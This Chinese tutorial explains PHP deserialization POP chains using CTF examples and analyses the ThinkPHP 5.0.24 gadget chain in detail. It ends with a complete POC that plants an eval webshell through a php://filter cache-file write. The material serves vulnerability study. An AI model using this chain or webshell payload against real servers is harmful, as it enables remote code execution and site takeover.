前言

基本的魔术方法和反序列化漏洞原理这里就不展开了。

给出一些魔术方法的触发条件:

__construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在unserialize()时会自动调用

__set方法:当程序试图写入一个不存在或不可见的成员变量时,PHP就会执行set方法。

__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。

__invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用

__call()方法:当调用一个对象中不存在的方法时,call 方法将会被自动调用。

pop链

pop又称之为面向属性编程(Property-Oriented Programing),常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的;只不过ROP是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程;因为反序列化中我们能控制的也就只有对象的属性

总的来说,POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload

构造思路

对于POP链的构造,我们首先要找到它的头和尾。pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了

下面我们看两个例子

POP链实例1

<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
} class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>

__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。

__toString()当一个对象被当作一个字符串使用 (如,echo 一个对象)

__destruct()当一个对象销毁时被调用

思路分析:先找POP链的头和尾,头部明显是GET传参,尾部是Uwant类中的getshell,然后往上倒推,Uwant类中的__get()中调用了getshellShow类中的__toString可以调用__get(),然后Hello类中的__destruct()可以构造来调用__toString,所以我们GET传参让其先进入__destruct(),这样头和尾就连上了,所以说完整的链子就是:

头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾

具体构造:

Hello类中我们要把$this->str赋值成对象,下面echo出来才能调用Show类中的__toString(),然后再把Show类中的$this->str['str']赋值成对象,来调用Uwant类中的__get()

<?php

class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
} $a = new Hello();
$b = new Show();
$c = new Uwant(); $a->str = $b;
$b->str['str']= $c; echo serialize($a);
?>

然后将结果进行url编码,GET方式传入

POP链实例2——2021强网杯-赌徒

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1); class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
} public function _sayhello(){
echo $this->name;
return 'ok';
} public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
} class Info
{
private $phonenumber=123123;
public $promise='I do'; public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
} public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
} class Room
{
public $filename='./flag';
public $sth_to_set;
public $a=''; public function __get($name){
$function = $this->a;
return $function();
} public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
} public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
} if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
} ?>

__wakeup将在unserialize()时会自动调用

__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。

__toString()当一个对象被当作一个字符串使用

__invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用

思路分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room类中有个Get_hint()方法,里面有一个file_get_contents,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room类中__invoke()方法调用了Get_hint(),然后Room类的__get()里面有个return $function()可以调用__invoke(),再往前看,Info类中的__toString()中有Room类中不存在的属性,所以可以调用__get(),然后Start类中有个_sayhello()可以调用__toString(),然后在Start类中__wakeup()方法中直接调用了_sayhello(),而我们知道的是,输入字符串之后就会先进入__wakeup(),这样头和尾就连上了

头 -> Start::__wakeup() -> Start::__sayhello() -> Info::__toString() -> Room::__get() -> Room::__invoke() -> Room::__Get_hint() -> 尾

具体构造:

Start类的__wakeup()方法在反序列化时自动调用,然后调用__sayhello()方法,这里我们要把$this->name赋值成对象,echo出来才能调用Info类中的__toString(),然后再把Info类中的$this->file['filename']赋值成对象,来调用Room类中的__get(),再把Room类中的$this->a赋值成对象,来调用Room类中的__invoke(),最终调用Get_hint方法拿到flag

<?php
class Start
{
public $name;
}
class Info
{
private $phonenumber;
public $promise; }
class Room
{
public $filename='./flag';
public $sth_to_set;
public $a=''; } $a = new Start;
$b = new Info;
$c = new Room;
$d = new Room; $a->name = $b;
$b->file['filename'] = $c;
$c->a = $d; echo serialize($a);
echo '</br>';
echo urlencode(serialize($a)); ?>

把前面的hi去掉再进行base64解码才能得到flag

TP5.0.24反序列化利用链

环境搭建

下载thinkPHP

http://www.thinkphp.cn/donate/download/id/1279.html

将源码解压后放到PHPstudy根目录,修改application/index/controller/Index.php文件,此为框架的反序列化漏洞,只有二次开发且实现反序列化才可利用。所以我们需要手工加入反序列化利用点。

添加一行代码即可:

unserialize(base64_decode($_GET['a']));

POP链构造分析

首先,进行全局搜索__destruct

查看thinkphp/library/think/process/pipes/Windows.php的Windows类中调用了__destruct魔术方法

跟进removeFiles方法

file_exists — 检查文件或目录是否存在

file_exists ( string $filename ) : bool

发现file_exists函数,file_exists接收一个字符串,所以如果传入一个对象的话,会把对象当作字符串处理,这时候就可以调用__toString魔术方法。

全局搜索__toString:

查看此方法在Model(thinkphp/library/think/Model.php):

不过Model类为抽象类,不能直接调用

因此需要找他的子类。我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用

回到__toString方法,它调用了toJson()方法,跟进toJson

继续跟进toArray方法

public function toArray()
{
$item = [];
$visible = [];
$hidden = []; $data = array_merge($this->data, $this->relation); // 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
} foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation); if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . );
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

只要对象可控,且调用了不存在的方法,就会调用__call方法。可以看到,存在如下三个可能可以控制的对象:

经过分析最后一处$value->getAttr是我们利用__call魔术方法 的点。

我们来看一下代码怎么才能执行到$value->getAttr

1.!empty($this->append)                           # $this->append不为空
2.!is_array($name) #$name不能为数组
3.!strpos($name, '.') #$name不能有.
4.method_exists($this, $relation) #$relation必须为Model类里的方法
5.method_exists($modelRelation, 'getBindAttr') #$modelRelation必须存在getBindAttr方法
6.$bindAttr #$bindAttr不为空
7.!isset($this->data[$key]) #$key不能在$this->data这个数组里有相同的值。

需要满足以上七个条件。

我们来逐个分析一下:

toArray方法中,$this->append是可控的,因此$key$name也是可控的,我们只需要使$this->append=['test']随便几个字符就可以满足前三个条件,到了第四个条件,发现$relation$name有关系.如下:

 $relation = Loader::parseName($name, 1, false);

跟进parseName

发现parseName只是将字符串命名风格进行了转换。也就是说$name==$relation。

所以我们使$this->append=['getError']getError为Model类里的方法,且结构简单返回值可控。这样就满足了第四个条件

下面进入了关键两行代码:

$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

前面我们使得$relationgetError方法,返回值可控,所以$modelRelation也可控。

跟进getRelationData方法:

我们看到$modelRelation必须为Relation类的对象,可以通过$this->error控制

要满足if语句的条件就可以让value可控,所以$modelRelation这个对象还要有isSelfRelation()getModel()方法。

这两种方法在Relation类中都有,但因为Relation为抽象类,需要寻找他的子类。全局搜索:

除了最后一个是抽象类外,都可以拿来用,但是我们还需要满足第五个条件,需要$modelRelation必须存在getBindAttr方法,但是Relation类没有getBindAttr方法,只有OneToOne类里有,且OneToOne类正好继承Relation类,不过是抽象类,所以我们需要找它的子类。全局搜索:

发现存在两个可用的,我们选择第二个HasOne类,即$this->error=new HasOne()。这样就满足了第五个条件

好了,调用方法的问题解决了,下面思考如何满足if语句的条件:

$this->parent可控,我们要使用Output类中的__call,所以$value必须为output对象,所以$this->parent必须控制为output对象,即$this->parent=new Output().

我们看一下isSelfRelation()方法:

public function isSelfRelation()
{
return $this->selfRelation;
}

$this->selfRelation可控,设为false即可。

get_class — 返回对象的类名

$this->parent已经确定为Output类了,所以我们要控制get_class($modelRelation->getModel())Output类,看一下getModel()的实现:

public function getModel()
{
return $this->query->getModel();
}

$this->query可控,我们只需要找个getModel方法返回值可控的就可以了,全局搜索getModel方法:

可以看到Query类中getModel方法返回值可控,使$this->query=new Query()$this->model=new Output()即可。

经过以上,满足了if语句的条件,if方法为True,$value=$this->parent=new Output().

下面来看第六个条件:

$bindAttr = $modelRelation->getBindAttr();

$this->bindAttr可控,$this->bindAttr=["yokan","yokantest"],随便写即可。这样就满足了第六个、第七个条件

于是就到达了$item[$key] = $value ? $value->getAttr($attr) : null;

因为Output类中没有getAttr方法,所以会去调用__call方法。

跟进Output类中的__call方法:

public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
} if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

__call方法中的$method=getAttr, $args=['yokantest']

我们要使用call_user_func_array([$this, 'block'], $args); 就要使in_array($method, $this->styles)成立。$this->styles可控,即$this->styles=['getAttr']

array_unshift — 在数组开头插入一个或多个单元

array_unshift ( array &$array [, mixed $...] ) : int

array_unshift($args, $method); 是将$method添加到数组$args中不用管。

进入call_user_func_array([$this, 'block'], $args);

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func_array( callable $callback, array $param_arr) : mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

调用了block方法,跟进block方法:

跟进writeln方法:

跟进write方法:

$this->handle可控全局查找可利用的write方法:

这里选择/thinkphp/library/think/session/driver/Memcache.php里的write方法

因为Memcached也存在一个$this->handle我们可以控制,进而可以利用set方法。

全局查找set方法:

这里选择thinkphp/library/think/cache/driver/File.php下的set方法,因为发现存在写入文件:

$result = file_put_contents($filename, $data);

接下来就是查看$filename, $data这两个参数是否可控:

先看$filename

跟进getCacheKey方法:

这里$this->options可控,所以$filename可控。

现在就只需要写入的$data可控了:

$data的值来自$value,但是$value我们没法控制

但是继续往下看,进入setTagItem方法之后发现,会将$name换成$value再一次执行了set方法。

前面分析过,$filename我们可以控制,所以$value也可以控制,所以这次调用set方法,传入的三个值我们都可以控制:

最后再通过php伪协议可以绕过exit()的限制 ,就可以将危害代码写在服务器上了。

例如:

$this->options['path']=php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>

生成的文件名为:

md5('tag_'.md5($this->tag))
即:
md5('tag_c4ca4238a0b923820dcc509a6f75849b')
=>3b58a9545013e88c7186db11bb158c44
=> <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44
最终文件名:
<?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php

对于windows环境我们可以使用以下payload.

$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

生成的文件名如下:

原理可以看这篇文章:https://xz.aliyun.com/t/7457#toc-3

POP链(图)

POC

<?php
namespace think\process\pipes {
class Windows {
private $files = []; public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
} namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent; function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
} namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
} namespace think\model\relation{
class HasOne extends OneToOne { }
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
} namespace think\db {
class Query {
protected $model; function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
} }
}
namespace think\session\driver {
class Memcached
{
protected $handler; function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
} namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag; function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
} }
} namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo "<br/><br/><br/>";
echo base64_encode(serialize($window));
}

复现

漏洞环境:

生成POC:

触发:

利用:

参考

https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24反序列化漏洞分析/

https://www.freebuf.com/articles/web/284091.html

https://xz.aliyun.com/t/8143#toc-10

https://blog.wh1sper.com/posts/thinkphp5代码审计/

http://arsenetang.com/2021/08/17/反序列化篇之pop链的构造(下)/

https://xz.aliyun.com/t/7457

PHP反序列化链分析的更多相关文章

  1. [Java反序列化]jdk原生链分析

    jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...

  2. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  3. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  4. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  5. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  6. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  7. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

  8. java反序列化-ysoserial-调试分析总结篇(7)

    前言: CommonsCollections7外层也是一条新的构造链,外层由hashtable的readObject进入,这条构造链挺有意思,因为用到了hash碰撞 yso构造分析: 首先构造进行rc ...

  9. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

随机推荐

  1. java-IO异常处理

    以前的异常处理 public class Demo3 { public static void main(String[] args) { //提高fw的作用域 //变量定义的时候可以没有值,但是使用 ...

  2. Java 中的 TreeMap 是采用什么树实现的?

    Java 中的 TreeMap 是使用红黑树实现的.

  3. 学习Kvm(四)

    安装KVM虚拟化 1.系统基础环境: [root@linux-node1 ~]# ip addr | grep inet | awk '{ print $2; }' | sed 's/\/.*$//' ...

  4. .NET 6学习笔记(3)——在Windows Service中托管ASP.NET Core并指定端口

    在上一篇<.NET 6学习笔记(2)--通过Worker Service创建Windows Service>中,我们讨论了.NET Core 3.1或更新版本如何创建Windows Ser ...

  5. 配置sublime text 3来编写Markdown

    如何使用sublime text 3编写Markdown  编写markdown的编辑器无论客户端还是在线的都有很多,这里将sublime text3作为markdown的编辑器,需要进行一些配置. ...

  6. Spark入门之idea编写Scala脚本

    一.安装Scala插件 1.File->Settings 2.Plugins->Msrketplace->搜索Scala并安装 (或者自己下载合适的scala版本,教程:自己给ide ...

  7. centos报错:Could not retrieve mirrorlist http://mirrorlist.centos.org/

    检查是否可以上网. ping 114.114.114.114 如果不可以,调试通.通了之后下一步: 然后检查DNS设置是否正常. ping www.baidu.com 不正常的话,设置DNS,如下: ...

  8. 关于data自定义属性

    新的HTML5标准允许你在普通的元素标签里,嵌入类似data-*的属性,来实现一些简单数据的存取.它的数量不受限制,并且也能由JavaScript动态修改,也支持CSS选择器进行样式设置.这使得dat ...

  9. Blazor组件自做九: 用20行代码实现文件上传,浏览目录功能 (3)

    接上篇 Blazor组件自做九: 用20行代码实现文件上传,浏览目录功能 (2) 7. 使用配置文件指定监听地址 打开 appsettings.json 文件,加入一行 "UseUrls&q ...

  10. 鲜为人知帝国CMS内容页调用上一篇和下一篇的精华方法汇总

    <span style="float:left">上一篇:[!--info.pre--]</span><span style="float: ...